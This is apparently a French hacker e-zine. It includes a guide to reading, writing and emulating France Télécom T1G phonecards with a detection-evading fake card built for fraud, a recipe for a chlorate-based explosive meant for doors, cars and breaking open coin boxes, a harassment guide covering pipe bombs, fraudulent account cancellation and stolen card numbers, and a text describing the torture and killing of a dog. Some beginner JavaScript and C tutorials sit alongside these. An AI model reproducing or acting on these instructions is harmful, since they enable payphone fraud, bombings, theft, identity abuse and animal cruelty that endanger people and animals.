||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
Tableau des 96bits préprogrammés par FT® (en rouges):
Ces
bits représentent le code famille ,le numéro de série, le message
d'authenticité...
Attention!Ces bits sont protégés par un fusible et ne peuvent pas être programmés.(Ils sont pas fou chez FT)
Tableau des bits restants(en bleus):
Ce
sont des bits qui selon le pouvoir financier de la carte se trouvent à 1.
Tous
les bits restants (à 0) peuvent etre écrit et donc mis à 1 mais attention, un
bit mis à 1 ne pourra plus revenir à 0 et c'est bien ça le problème!Donc pas
moyen de recharger une carte vide! :-(
Analyse des bits en Hexa:
Avec un programme spécifique ,on peut en tirer ces infos:
Information |
Résultat |
Emplacement case tableau en hexa |
CODE
FAMILLE |
08 |
3 et 4 |
NUMERO DE SERIE |
24800265 |
5 à 14 (en enlevant cases 9 et 10) |
MESSAGE
D'AUTHENTICITE |
48F8 |
15 à
20 (en enlevant cases 17 et 18) |
PARAMETRE
DE PROGRAMMATION |
1
(50ms à 21V) |
21 |
CODE
SERVICE |
0 (Jetable) |
22 |
POUVOIR
FINANCIER |
06 (50 unités) |
23 à 24 |
CONSOMMATION |
50 unités |
25 à 62 |
CRÉDIT
EPUISE |
Vrai |
63 à 64 |
On pourra remarquer que le numéro de série correspond bien à celui qui marqué au dos de la carte!
La T1G : A quoi correspondent ses contacts??
Pour
pouvoir communiquer avec la cabine, la carte dispose de 8 contacts qui ont
chacun une fonction bien spéciale!
En
fait, il existe 2 sortes de position de contact, les positions ISO et AFNOR.
ISO |
AFNOR |
|
|
Patte |
Nom |
Description |
Explications |
1 |
VCC |
+5 V |
C'est
l'alimentation 5V,pas d'explication particulière. |
2 |
R/W (A) |
Read/Write |
Patte
de commande de fonctions. |
3 |
CLK |
Clock |
C'est
en fait la validation des états de R/W et de RST. |
4 |
RST (B) |
Reset |
Patte
de commande de fonctions. |
5 |
GND |
Masse |
0V |
6 |
VPP |
+21V ou +25V(+5V pour
les + récentes:T2G) |
C'est
la tension de programmation pour les télécartes (T1G) pour transformer un '0'
en '1'. |
7 |
I/O |
In/Out |
C'est
sur cette patte qu'on lit le bit sélectionné. |
8 |
FUSE |
Fuse (Sert
exclusivement à l'usine) |
C'est
le fusible de protection des 96 premiers bits. |
Et voici le protocole (Que vous pouvez aussi trouver sur Pirate Mag Hors Série N°1):
R/W |
RST |
Clk |
Fonctions |
0 |
0 |
|
Reset
du compteur d'adresses |
0 |
1 |
|
Incrémentation
du compteur d'adresses |
1 |
0 |
X |
Inutilisé |
1 |
1 |
1 |
Programmation
d'un bit (0 -> 1) |
La T1G : Enfin, on va jouer avec!
Tout
d'abord, on va commencer par réaliser un montage pour pouvoir les lire!
Le HARDWARE:
C'est
un montage tiré de PC et Cartes à Puce de Patrick Gueulle (ETSF) oû j'ai juste
rajouté une diode et une alimentation de 21V pour pouvoir écrire avec.
|
Petites
explications sur ce montage:
La
diode en bas à droite est celle que j'ai rajouté, elle sert à obtenir 5V sur la
broche 6 de la carte à puceou 21V sans que cette tension vienne perturber le
fonctionnement du reste du montage.Le 78L05 est un régulateur de tension de
+5V,on peut l'alimenter de 7.5V à 15V...
Vous
pouvez trouvez des connecteurs pour cartes à puces dans tout bon magasin
d'électronique qui se respecte! Le 21V n'est nécessaire que pour l'écriture d'un
bit et n'est pas indispensable sur certaine carte (T2G). Pour
l'implantation des composants, j'ai utilisé une plaque pré perforé vu le peu de
composant nécessaire.
Le SOFTWARE:
Pour lire une carte il suffit d'enchaîner ces instructions:
R/W |
RST |
Clk |
Bit lu |
0 |
0 |
1 |
Remise à 0 du compteur d'adresses |
0 |
0 |
0 |
|
0 |
1 |
0 |
bit 0 |
0 |
1 |
1 |
|
0 |
1 |
0 |
bit 1 |
0 |
1 |
1 |
|
... |
... |
... |
... |
... |
... |
... |
x instructions |
0 |
1 |
0 |
bit 255 |
0 |
1 |
1 |
Bouclage de la mémoire |
0 |
1 |
0 |
bit 0 |
(on
peut voir que le front montant de Clk est réalisé par la
succession du '0' au '1' et du retour à '0' pour le prochain front)
Bien sûr, à tout moment, on peut faire un reset du compteur d'adresses.
Pour écrire dans une carte il suffit d'enchaîner ces instructions:
R/W |
RST |
Clk |
Bit lu |
0 |
1 |
0 |
bit X (à 0) |
0 |
1 |
1 |
|
1 |
1 |
1 |
|
1 |
1 |
1 |
Attente de env.50ms |
1 |
1 |
0 |
|
0 |
1 |
0 |
bit X (à 1) |
Il
faut relativement bien respecter la temporisation de 50ms au risque de détruire
la carte en cas de durée trop longue ou de ne pas écrire du tout si la tempo
est trop courte!(ne pas oublier le Vpp de 21V!)
Voilà,
pour effectuer ces 2 fonctions, je vous propose ce programme en Qbasic : writcard.zip
(contient l'exécutable et le source),c'est un dérivé du lecteur de P.GUEULLE.
Le
même programme sous Windows (en Visual Basic donc faut les dll...) : LT1G.zip ( si vous voulez le
fichier source, un mail!)
La T1G : Hacked!
Bon
maintenant, on en sait assez pour faire un émulateur!Le but final étant bien
sûr un émulateur autonome basé autour d'un micro contrôleur (en cour de
développement) mais faut bien commencé par les choses simples!
Le HARDWARE:
On
va donc réaliser une carte qui sera reliée au port parallèle de notre PC
(portable!c'est plus pratique!)
Tout
d'abord, il faut savoir que pour empêcher les hackers d'exercer leurs arts
favoris, FT® à intégré aux cabines un TOS-Mètre (Taux d'Ondes Stationnaires)
qui est destiné à détecter des fils suspects qui serait logé avec la carte!
Ce
TOS-Mètre (les amateur de CB connaisse déjà) émet donc une onde qui se propage
entièrement sauf une petite partie qui 'reste' à proximité 'attiré' par le
métal:ce sont les ondes stationnaires!Or lorsque nous mettons une fausse carte
avec des pistes en cuivre relativement grosses dans le lecteur, le taux d'ondes
stationnaires augmente du fait des pistes de cuivres jouant le rôle d'antenne:
ce qui entraîne la détection de la fraude et donc le signalement d'une
anomalie!
Voilà
l'exemple d'une carte qui se fait détecter par les cabines :
|
Donc,
à ce stade, on a 2 solutions:soit on a les moyens de faire des pistes graves petites
(et encore je sais pas si ça marchera!) ou soit vous adoptez ma méthode qui
prend du temps mais qui en vaut la peine!
Je
vous présente ma carte anti TOS-Metre:
Le recto |
Le verso |
Gros plan |
|
|
Voici ma méthode:
Matériel nécessaire |
Cutter |
Perceuse avec foret très fin <1mm et 1.5mm |
Fer à souder, étain |
Nappe de fil de type câble IDE |
Une carte usagée |
1.
Tout d'abord, il faut neutraliser la puce,
alors un coup de perceuse dedans avec le foret de 3mm!(elle se trouve au milieu
des 8 contacts)
2.
Ensuite, percez un trou au milieu de chaque
contact de la carte avec le foret de 1mm (ou moins).
3.
Tracez comme vous pouvez le voir sur le verso de
ma carte les futurs liaisons et ensuite sans appuyez avec un cutter, vous
suivez ces tracé.
4.
Prenez votre nappe IDE, isolez un conducteur,
dégainez-le et prenez juste un brin du fil (env. 10cm) que vous allez mettre
dans un des trou percé des contact de la puce(faites le dépasser de pas plus de
1cm)
5.
Soudez ce bout de fil sur le contact de la puce (à
faire très vite!)
6.
Insérez ce fil le long du tracé que vous avez fait
avec votre cutter.
7.
Et poinçonnez ce fil avec le fer à souder comme la
photo verso de ma carte de manière à ce qu'il ne bouge plus!
8.
Répétez ceci avec tous les contacts.
9.
Pour la liaison de ces brins de fils avec des fils
normaux, je vous laisse faire...
Voilà!
le plus dur et long est fait! :-)
Et
à ce niveau, FT® commence à se chi.. dessus!
Connexion avec le PC:
Port parallèle (SUB-D25) |
Carte téléphone |
Paper End (12) |
Rst (4) |
Select (13) |
Clk (3) |
D0 (2) |
I/O (7) |
Error (15) |
R/W (2) |
Masse (25) |
Gnd (5) |
Le SOFTWARE:
Maintenant
qu'on sait tout sur les cartes téléphones, on va pouvoir émuler le dialogue de
ces p'tites bêtes!
Donc,
avec ce que l'on sait sur le dialogue entre la cabine et la carte, on peut dire
que la détection des principales fonctions (Up,Write,Reset) peut se commander
grâce à 3 pattes:
·
Si Rst = '0' alors remise à 0 du compteur
d'adresses.
·
Si Clk = '1' alors on incrémente le compteur
d'adresses.
·
Si R/W = '1' alors écriture.
Voilà
l'organigramme correspondant:
|
Par
contre, je ne suis pas sûr pour la position du test 'R/W'.
Tout
d'abord, le choix de l'assembleur comme langage me parait imposé grâce à sa
vitesse, mais on pourra sûrement sur une machine suffisamment puissante
travailler avec du Pascal (je soupçonne que le dialogue cabine/carte est à
3,58Mhz)
Le
programme en ASM est en retard de 2mois a cause des vacances...(on peut prendre
des vacances comme même??)...mais aussi à cause d'assembleur non compatible
(A86 aime pas NASM!)
Quand
le programme sera fini, vous serez mis au courant, si vous en faites un qui
marche ,écrivez-moi :
Javascript
|
Bon je ne vais pas vous
faire de cours de javascript ici, peut être dans un autre zine. Ici je vais
tout simplement vous donner plusieurs petit script pour votre site. Ces scripts
on été trouver sur le net.
SCRIPT 1 :
Permet de mettre une image
qui suis la souris.
<body>
<!-- DEBUT DU SCRIPT
-->
<SCRIPT
LANGUAGE="JavaScript">
var isNS = (navigator.appName
== "Netscape" && parseInt(navigator.appVersion) >= 4);
if (isNS==0) {var
vara="DIV ID";var varb="/DIV";var
styl='style="position:absolute;left:0px;top:0px;width:32px;height:32px;visibility:hidden;"'}
else {var vara="LAYER NAME";var varb="/LAYER";var
styl="";}
chaine='<'+vara+'="obj1"
'+styl+'>'
+'<img src="1.gif"
border=0>'
+'<'+varb+'>'
+'<'+vara+'="obj2" '+styl+'>'
+'<img src="1.gif"
border=0>'
+'<'+varb+'>'
+'<'+vara+'="obj3" '+styl+'>'
+'<img src="1.gif"
border=0>'
+'<'+varb+'>'
+'<'+vara+'="obj4" '+styl+'>'
+'<img src="1.gif"
border=0>'
+'<'+varb+'>'
+'<'+vara+'="obj5" '+styl+'>'
+'<img src="1.gif"
border=0>'
+'<'+varb+'>'
+'<'+vara+'="obj6" '+styl+'>'
+'<img src="1.gif"
border=0>'
+'<'+varb+'>'
+'<'+vara+'="obj7" '+styl+'>'
+'<img src="1.gif"
border=0>'
+'<'+varb+'>'
+'<'+vara+'="obj8" '+styl+'>'
+'<img src="1.gif"
border=0>'
+'<'+varb+'>'
+'<'+vara+'="obj9" '+styl+'>'
+'<img src="1.gif"
border=0>'
+'<'+varb+'>'
+'<'+vara+'="obj10" '+styl+'>'
+'<img src="1.gif"
border=0>'
+'<'+varb+'>'
document.write(chaine);
var isNS = (navigator.appName == "Netscape" &&
parseInt(navigator.appVersion) >= 4);
var div1 = (isNS) ? document.obj1 : document.all.obj1.style;
var div2 = (isNS) ? document.obj2 : document.all.obj2.style;
var div3 = (isNS) ? document.obj3 : document.all.obj3.style;
var div4 = (isNS) ? document.obj4 : document.all.obj4.style;
var div5 = (isNS) ? document.obj5 : document.all.obj5.style;
var div6 = (isNS) ? document.obj6 : document.all.obj6.style;
var div7 = (isNS) ? document.obj7 : document.all.obj7.style;
var div8 = (isNS) ? document.obj8 : document.all.obj8.style;
var div9 = (isNS) ? document.obj9 : document.all.obj9.style;
var div10 = (isNS) ? document.obj10 : document.all.obj10.style;
var objet;var coordx;var coordy;
objet = new Array(div1,div2,div3,div4,div5,div6,div7,div8,div9,div10);
coordx = new Array(0,0,0,0,0,0,0,0,0,0);coordy = new
Array(0,0,0,0,0,0,0,0,0,0);
function placeObj(i,px,py) {
objet[i].left=px;
objet[i].top=py;
}
function voirObj(i) {
objet[i].visibility="visible";
}
function cacheObj(i) {
objet[i].visibility="hidden";
}
function cacheObj(i) {
objet[i].visibility="hidden";
}
var userAgent=navigator.appName + " " + navigator.appVersion;
var agentInfo=userAgent.substring(0, 12);
if(agentInfo >= "Netscape 4.0")
{
document.captureEvents(Event.MOUSEMOVE);
var Xpos = 50;var Ypos = 50;
function MouveA(evnt) {
Xpos = evnt.pageX;Ypos = evnt.pageY;
}
document.onMouseMove = MouveA;
}
else {
var Xpos = 50;var Ypos = 50;
function MouveB() {
ofy=document.body.scrollTop;ofx=document.body.scrollLeft;
Xpos = event.clientX+ofx;Ypos = event.clientY+ofy;
}
document.onmousemove = MouveB;
}
function vole() {
x0=coordx[0];y0=coordy[1];ex=Xpos+10;ey=Ypos+10
reelx=x0+0.6;reely=y0+0.6;
rx=reelx;ry=reely;
rx+=(ex-rx)*0.6;ry+=(ey-ry)*0.6;
reelx=rx;reely=ry;
x0=Math.round(reelx);y0=Math.round(reely);
for (var i = 9; i > 0; i--) {
coordx[i]=coordx[i-1];
coordy[i]=coordy[i-1];
}
coordx[0]=x0;coordy[0]=y0;
for (var i = 0; i < 10; i++)
{
voirObj(i);placeObj(i,coordx[i]+i-2,coordy[i]-i);
}
setTimeout("vole()",10)
}
vole();
</SCRIPT>
<!-- FIN DU SCRIPT -->
</body>
SCRIPT 2 :
Ce script permet de faire un
lien animé.
<HEAD>
<script LANGUAGE="JavaScript">
function initArray() {
for (var i = 0; i < initArray.arguments.length; i++) {
this[i] = initArray.arguments[i]; }
this.length = initArray.arguments.length; }
var colors = new
initArray("green","blue","black","purple","red","tan","red");
delay = .5; // secondes
link = 0; vlink = 2;
function linkDance() {
link = (link+1)%colors.length;
vlink = (vlink+1)%colors.length;
document.linkColor = colors[link];
document.vlinkColor = colors[vlink];
setTimeout("linkDance()",delay*1000); }
linkDance();
// End -->
</script>
</HEAD>
<BODY>
<A HREF="lien.htm">
Cliquez ici !</a>
</BODY>
SCRIPT 3 :
Ce script permet de mettre une page web en plein écran.
BODY>
<!-- DEBUT DU SCRIPT
-->
<A HREF="#" onClick="window.open('http://www.ifrance.com/index.htm','','fullscreen,scrollbars');return(false)">ENTER</A>
<!-- FIN DU SCRIPT -->
</BODY>
voilà pour cette petite
partie script. Bon c’est pas bien intéressant mais ça permettra d’améliorer un
peu votre site web.
By The JokeR
C (cours 1) |
Bon je vais essayer de vous
faire pleins de cours de C. donc c le début d’une grande série !
Les cours seront bien sur
dans un ordre précis afin que vous avanciez au fur et a mesure.
Pour ce premier cours je
vais vous parler de la structure d’un programme et de la syntaxe du langage. Ce
cours s’adresse aux personnes ne connaissant rien au C et désireux
d’apprendre !
Aller on y go :
STRUCTURE D’UN PROGRAMME
La structure d’un programme
C peut se décomposer de la façon suivante :
< directives de
compilation >
< définitions de types
>
< prototypes et fonctions
>
< déclaration de variable
et de constante >
< fonctions>
Un prog C consiste donc en
une série de fonctions. Parmi celles-ci, l’une doit s’appeler main() :
elle représente le corps principal du prog.
1 . directives de
compilation :
Ces directives permettent de
demander à l’ordinateur d’effectuer certaines opérations avant la compilation
du programme.
Les directives les +
importantes sont :
#INCLUDE <fichier>
où fichier est le nom d’un
fichier qui contient des informations utiles pour le programme. Ces infos
seront insérées à partir de la ligne contenant la directive INCLUDE.
Exemple : #INCLUDE <stdio. h> (le fichier STDIO.H est un fichier
contenant des infos relatives aux instructions
d’entrées/sorties. J’y reviendrai plus tard.
#DEFINE symbole
suite de caractères
cette directive remplace
dans le prog, toutes les occurrences du symbole par la suite de caractères.
Cette suite peut représenter un nombre, un texte etc. Elle permet la définition de nouveaux opérateurs, la déclaration
de constantes, etc.
Exemple : #DEFINE max 9
#DEFINE écrire putchar()
Dans le 1er cas,
chaque fois que l’on rencontrera le symbole max, il sera remplacé dans
le texte par 9. dans le 2ème cas, le mot écrire sera remplacé
par putchar().
Remarques :
Il existe d’autres
directives telles que : #IF
#ELSE
#ENDIF
Ces directives permettent de
ne compiler certaines lignes du prog que si une condition est réalisée.il ne faut
cependant pas confondre ces directives avec l’instruction IF que j’évoquerai +
tard. Dans le cas des directives, cela se passe à la compilation, tandis que
dans le cas de l’instruction IF, cela se passe à l’exécution du prog.
2. Définition de type :
chaque donnée utilisée par un prog C doit posséder un type. Ce type détermine l’ensemble des valeurs possibles que peut prendre la donnée pendant l’exécution du programme. C’est ainsi qu’une donnée pourra contenir des valeurs de type entier, réel, caractères, etc. Le langage C offre la possibilité d’utiliser des types prédéfinis ou de composer ses propres types. Plusieurs autres cours seront consacrés aux différents types possibles.
Retenez simplement pour
l’instant qu’une déclaration de type doit être de la forme :
TYPEDEF description du type identificateur du type
Exemple : typedef struct {char
nom[30] ;
char prenom[20] ;
int age ;} personne ;
on a ainsi définit un type
composé personne qui contient un nom, un prénom et un age.
3. Déclaration de
variable :
les données qu’utilise un
programme peuvent varier au cours de son exécution. On les appelle alors des
variables. Les valeurs de ces variables peuvent être modifiées u moyen d’une
série d’opérations. Toute variable utilisée par le programme doit posséder le
type de valeur qu’elle va contenir. Toute déclaration de variable doit être de
la forme :
type_de_la_variable nom_de_la_variable
CHAR c
Où i et j sont des variables
qui pourront contenir des valeurs numériques entières.
Où c est une variable qui
pourra contenir des valeurs caractères.
Remarque :
On peut, lors de la
déclaration d’une variable, lui assigner une valeur initiale. La déclaration
doit alors être de la forme : type nom = valeur initiale
Exemple : INT i=1 ;
CHAR c= ‘a’ ;
4. Déclarations de
constantes :
Lorsque l’on désire avoir une donnée dont la valeur ne pourra être modifiée pendant l’exécution du prog, on utilise alors une constante. La déclaration d’une constante peut ^tre de 2 formes différentes :
CONST type nom = valeur ou encore #DEFINE
nom valeur
La 2ème forme est
une illustration de l’utilisation des directives de compilation. En effet,
toutes les occurrences de nom sont remplacées directement par la valeur dans le
programme.
Exemple : #DEFINE
max 32767
CONST
int maximum = 32767
CONST
float pi=3.14
5. Prototypes de fonctions :
dans un prog, on peut avoir besoin d’exécuter le même ensemble d’instructions plusieurs fois, mais avec des données différentes. On regroupe alors cet ensemble d’instructions en une fonction. L’étude du concept de fonction ou de sous-prog sera l’objet d’un cours ultérieur.
Relatons toutefois, dès
maintenant, que la déclaration d’un prototype de fonction se fait de la façon
suivante : type de fonction
nom de fonction(liste de paramètres) ;
Comme on peut le constater, le prototype d’une fonction est une ligne décrivant, au reste du prog, ses caractéristiques principales.
6. Fonctions :
on trouve dans cette partie
les définitions de fonctions, c.a.d la
description des variables utilisées par ces fonctions et l’ensemble des
opérations qu’elles vont effectuer sur ces variables. Cette définition devra
être sous forme :
type de fonction nom de fonction(liste de paramètres)
{
déclaration de variables
locales à la fonction ;
instructions ;
}
SYNTAXE DU LANGAGE
La syntaxe constitue en fait l’orthographe du langage. Il faut s’y conformer pour que le compilateur puisse transformer le programme C en langage machine. Toute erreur de syntaxe provoquera une erreur de compilation.
1. Les
identificateurs :
Ils représentent les noms
que l’on donne aux constantes, au type de données, aux variables, aux fonctions
etc. Ils doivent obéir aux règles de
compositions suibantes :
2. Mots-clés :
ils sont prédéfinis dans la
syntaxe du langage. Ils représentent les instructions, les descriptions de
types prédéfinis. Il n’est pas permis d’utiliser un mot-clé comme
identificateur. Les mots mots-clés son repris dans un tableau annexe (sur votre
compilateur).
Exemples : INT, IF, ELSE, WHILE…
3. Les expressions :
Une expression est une combinaison
d’opérandes et d’opérateur. Une opérande peut être :
-
une
variable
-
une
constante
-
une
autre expression
Toute expression fournit
toujours une valeur résultat. Cette valeur peut être de différents types :
-
numérique
-
caractère
-
etc.
4. Les opérateurs :
Le but principal d’un
programme est d’effectuer un certain nombre d’opérations sur un ensemble de
données. Les opérateurs indiquent quel type d’opération on désire effectuer.
Examinons les différents
opérateurs :
L’assignation :
C’est l’opération la plus
fondamentale de tout langage de programmation. Cette opération est matérialisée
par le signe =. La valeur qui se trouve à la droite de ce signe est mise dans
une variable située à sa gauche. Elle constitue également la valeur résultat de
l’expression. On a donc : variable
= expression
Exemple : A=2 ;
B=A+3 ;
Les opérateur
arithmétiques :
Ces opérations s’appliquent
à des valeurs numériques (entières ou réelles). On y trouve des opération
classique telles que :
L’addition (+), la
soustraction (-), la division (/), la multiplication (*), le reste de division
entière (%).
Toutes ces opérations
peuvent être combinées avec des parenthèses. On dispose également d’opérations
moins classiques telles que :
L’incrémentation (++), la
décrémentation (--)
Exemple : a+b*(c-1)
a=-1
x=y++ (assigne
la valeur de y à x et ajoute 1 à y)
x=++y (ajoute
1 à y et assigne la nouvelle valeur obtenue à x)
les opérateurs
relationnels :
Ils permettent de comparer
certaines valeurs. Leur résultat peu être soit
vrai, doit faux.
La valeur faux est
représenter par la valeur numérique 0 et la valeur vrai est représenter par le
valeur numérique 1. la liste des opérateurs relationnels est la suivante :
>, > =, <, < =,
= =, ! =.
Je pense que vous connaissez
toutes ces signification a par peut être
= = qui veut dire égale et ! = qui veut dire non égale.
Exemple : I=1
J=100
K=1000
Les expressions suivantes
donneront un résultat vrai :
(I<=J)
(K>J)
(K!=J)
les opérateurs logiques :
Ces opérateurs effectuent
les opérations classique sur des valeurs logiques. Leur résultat donne
également les valeurs vraies ou fausses. Ils sont au nombre de 3 :
-
et
logique : && qui donne un résultat vrai si les 2 expressions sont
vraies.
-
ou
logique : || qui donne un résultat vrai si
une des 2 expressions est vrai.
-
Négation
logique : ! qui inverse la valeur logique de l’expression à laquelle
elle est appliquée.
Ces opérateurs permettent
notamment de combiner des opérateurs relationnels.
L’opérateur « adresse
de » :
Il faut savoir que la
mémoire d’un ordinateur est composée d’une suite de valeur binaire 0 ou 1
appelées bits.
-
un
ensemble de 8 bits est appelé octet ou byte
-
un
ensemble de 16 bits est appelé mot.
-
Un
ensemble de 32 bits est appelé long mot.
Chaque ensemble a une
position bien définie dans la mémoire. Cette position est appelée adresse.
Lorsqu’on utilise
l’opérateur « adresse de », on demande l’adresse qu’occupe
l’opérande. Le format de cette opération est le suivant : &nom_de _variable
Les
opérateurs niveau-bit :
Ces opérateurs permettent de
modifier directement les bits d’une zone mémoire. Ils sont au nombre de
6 :
-
décalage
vers la droite : >>
-
décalage
vers la gauche : <<
-
et :
&
-
ou
inclusif : ½
-
ou
exclusif : ^
-
négation :
~
exemple :
int I, J, K ;
I=J >> 4
I reçoit la valeur obtenue
après décalage de tous les bites de J de 4 positions vers la droite.
Bon voilà pour le cours n°1
de C. j’espère que ça vous aura donner envie d’en savoir plus.
Avant de clôturer cet
article je vais vous donner un exemple de programme très basique en C :
#INCLUDE <stdio.h>
MAIN()
{
INT i,j,somme;
PRINTF(“entez deux
nombres:”);
SCANF(« %d,%d »,&i,&j) ;
somme=i+j;
PRINTF(“la somme de ces deux
nombres vaut : %d”, somme);
}
ayez cette fois c’est fini.
By The JokeR
Espion win98
|
Bon vous devez être au
courant qu’il y a un mouchard dans windows 98 ?!
Et oui, quand vous vous
connectez sur le net et bien votre cher windows 98 envoie pleins d’infos sur
vous a notre ami Bill !
Toutes ces informations étaient
regroupées dans un mega fichier contenant les infos de millions de
personnes ! Mais le problème c’est que bill c fait pecho !J
Bill à affirmer avoir
détruit le fichier contenant ces infos. Du moins c’est la version officiel mais
l’a t’il vraiment détruit ????
Donc je vais vous montrer
comment virer l’espion de win98 au cas ou Bill aurai menti à la presse, vous
allez voir yen a pour 2 min !!
Vous allez dans
démarrer/executer et vous taper :
regsvr32.exe -u
c:\windows\system\regwizc.dll
voilà vous devez voir
apparaître un message de confirmation, et ça y ai le mouchard n’est plus
actif ! J
bah voilà, l’article est
très court mais bon tout le monde ne sais pas comment virer l’espion de windows
98 ! alors cet article n’est pas inutile !
by the joker
Le plastic
|
DISC-LAMMER:
Le plastic est beaucoup plus
puissant que le chlorate de soude + sucre. Une dizaine de grammes suffisent
pour faire péter la porte d'une maison ! Par contre, on peut le manipuler sans
trop de soucis, et en plus, il est maléable, ce qui permet de concentrer
l'explosion en un point précis.
Par exemple, vous voulez
faire péter un cadenas, il suffit de l'enrouler avec un peu de plastic, et vous
êtes sûr de sa destruction !
INGREDIENTS:
-chlorate de potassium
(magasins de chimie)
-vaseline (supermarchés et
pharmacies)
FABRICATION:
Mélangez 1 part de vaseline
avec 9 parts de chlorate de potassium, si vous voulez en faire plus, veillez à
respecter les proportions, TOUJOURS 1 pour 9.
Laissez sécher 3/4 d'heure
environ, et faites péter avec un détonateur (tuyau de cuivre empli de poudre).
UTILISATION:
Avec ça, vous pouvez faire
péter tout ce que vous voulez: une porte, une bagnole, votre lycée, la
gendarmerie, etc ;-)
Ce que je viens de dire, ne
le faites surtout pas, mais par contre, un truc bien à faire, c'est de
plastiquer les anciennes cabines téléphoniques, celles où on mets des pièces,
ou alors les distributeurs de boissons, dans le retour de la monnaie. ATTENTION
! Ne mettez pas trop de plastic, le but recherché est juste de faire sauter le
retour de monnaie pour récupérer le fric, pas de pulvériser la machine !!! En
plus, les pièces seraient éparpillées sur plusieurs dizaines de mètres !
[Article proposé par GlÄdIÄThÖR]
Faire chier un gas
|
comment casser les couilles
d'une personne?
1:RESILIER SON ABONNEMENT
INTERNET:
Un simple coup de téléphone chez le fournisseur, plus une petite lettre, et voilà, la personne à qui vous voulez casser les couilles n'est plus, sans le savoir, chez son fournisseur d'accès.
Quand il m'arrivait de
téléphoner chez mon fournisseur, qui était infonie, il me demandait, pour
m'identifier, mon numéro d'abonnement, qui comporte à peu près 15 chiffres. Et
comme je le savais jamais, il me demandait soitle numéro de ma ligne
téléphonique, mon nom, ou mon adresse e-mail.
Pour faire ce truc, il
suffit donc de connaître un peu sa victime, au moins nom, prénom (du père ou de
la mère, car c'est sous ce prénom qu'est enregistré l'abonnement, à moins que
la personne ne soit majeure, et qu'elle paie elle-même son abonnement), et son
tél.
2: NIQUER SA BAGNOLE:
Faites une belle bombe de
péroxiacétone ou de chlo + sucre dans un tube en cuivre ou en fer, et placez
tout ça bien dans sa sortie d'échappement, le pot va complètement être éventré
;-)
3: Lui faire débourser
plein de fric:
Prenez un catalogue LA REDOUTE ou les 3 SUISSES, et commandez plein detrucs (vêtements, meubles, etc...) et choisissez l'option "Je paye à la réception .
Abonnez-le aussi à pleinsde
trucs de livres à la con ;-)
4: Lui faire avoir des
emmerdes avec la flicaille et la justice:
Procurez-vous un # de CB
valide, et commandez plein de trucs, livres, matériel Hi-Fi, en fin n'importe
quoi, à plein de société différentes sur le net, et quand la personne va s'en
rendre compte, c'est lui qu'on ira voir en premier, étant donné que c'est chez
lui que tout ça a été livré, surtout si il a gardé le matos.
Evidemment, une simple
recherche dans les beaux petits fichiers logs permettront rapidement de le
disculper, mais si il a fait comme si de rien n'était, et qu'il a gardé tout,
il aura quand-même les emmerdements qu'on cherche à lui faire avoir ;-)
[Article proposé par GlÄdIÄThÖR]
0 800
900 272--BOITE--4012#
Les Caniches |
Votre caniche vous emmerde
??? Voici la solution !
Ce texte, que g trouvé très amusant
quand je l'ai lu, va vous apprendre à dresser cett putain de bête qui salope
tout chez vous ! Bonne lecture...amusez-vous bien ! Et mort aux caniches ;-))
"C'‚tait votre
anniversaire y'a pas si longtemps ? Vos parents vous ont ils offert la pire des
saloperies qui puisse exister ?!? un Caniche ?!? Cette chose chie de tous les
cot‚s, et ne fait jamais rien d'utile ? Cet article peut aider les victimes que
vous ˆtes...
Ok, kel est notre but ? Se débarrasser du caniche, ou au moins,
lui apprendre quelques bonnes manières.
Commençons avec les bonnes manières...
La chose à osé chier partout dans la maison ? OK! prend
des gants, récupère les merdes, ‚carte sa machoire, et enfonce la merde au fond
de sa gorge. Il devrait comprendre !!!
Il à pissé sur ton lit ?
Pisse sur SON lit !!
Ce petit enculé ne veut pas
manger sa bouffe ? OK! Range la nourriture, et laisse la pourrir au placard
pendant 2 semaines, sans rien lui donner d'autre … manger...Puis, donne lui
cette pourriture... Il a compris, je pense!
Pour une raison inconnue a
ce jour, les chiens détestent les aspirateurs... Utilises le donc pour le débarrasser de sa merde: Quand il dort,
enfonce le tuyau de l'aspirateur dans son trou du cul, et allume le (puissance max!)
Le caniche devrait faire un saut de 2 mètres. Si le caniche est vieux, il aura
peut être une attaque cardiaque. "....hey....c'était juste une
blague!"
OK, il ne veut pas comprendre??????????? Seule solution: s'en
débarrasser!
As tu une chaise avec des roulettes ? assieds toi sur la chaise
et attends que le caniche vienne s'asseoir à coté de la chaise. Maintenant,
recules toi très rapidement, et écrase moi cette saloperie. "Oups, je ne
savais pas qu'il était là…" Mais
fait gaffe qu'il n'y ait pas de tapis...Le sang est très dur à laver!!!
Tu pars en voyage dans la
voiture familiale avec le caniche ??? Lors que tout le monde sera sorti,
assures toi d'être résté seul avec le chien. Sors, et juste quand le chien a
presque sauté dehors, claques la portière. Le caniche va exploser comme du
verre. Claquer la portière devrait suffire pour en finir..."Ohhh,
ooops...je croyais qu'il ‚tait déjà sorti...."
Tiens, au fait, ça marche
aussi si t'as une petite sœur emmerdante, quand elle verra la tˆte du caniche
sanguinolente sur le sol, elle va tomber dans le coma...deux en un, c'est plus
malin !!!!!!!!
P.S. Ceci fonctionne aussi avec la porte d'entrée de ta maison.
Ne laves JAMAIS PLUS cette chose. Crois moi, ce caniche sera
tellement dégeu même ta petite sœur ne jouera plus avec. "Quoi? tout va
bien avec le chien. Je le trouve en pleine forme...h‚h‚h‚h‚!"
Balances du THC pur dans son
bol d'eau. C'est le meilleur moyen de te séparer de lui. "Hey, qu'est ce
qui se passe avec Alex? Pourquoi est ce qu'il marche dans tous les sens
?...Hey! il vient de crever!.. Ooooh..triste...il était vieux, tu sais..."
Si tu déménages dans un
autre pays, coinces cette petite merde dans quelque chose de petit genre un
carton. Personne ne pensera au chien alors qu'il faut entamer une traversée de
50 000 Km jusqu'a l'autre bout de la planète..."Hey, quelqu’un a vu Alex?
Euuuhhh...non...non."
Bien entendu, tu aurais pu
tout simplement jeter le caniche a la rue... Mais dans ce cas, quelqu’un
d'autre aurait certainement du finir avec cette horreur. Aide cette personne.
Tue le caniche. Souviens toi toujours: Montre au chien qui commande. Attention!
Les caniches prennent le contrôle de la planète! je le jure! J'en voie de plus
en plus chaque jour! Tue les avant qu'il ne soie trop tard!!!! Ne les laisse
pas prendre le contrôle!!!!!!!!"
Alors ça vous a plu ?
j'espère que oui en tous cas ! Dès que je trouverai un texte bizarre...mais
marrant, je vous le mettrai dans notre zine génial !
[Article
proposé par GlÄdIÄThÖR]
0 800 900 272 - box 4012#
LIGHTNING JOKERS
|
Bon je vous ai jamais
présenter le group, les membres etc… alors je vais le faire, ça vous permettra
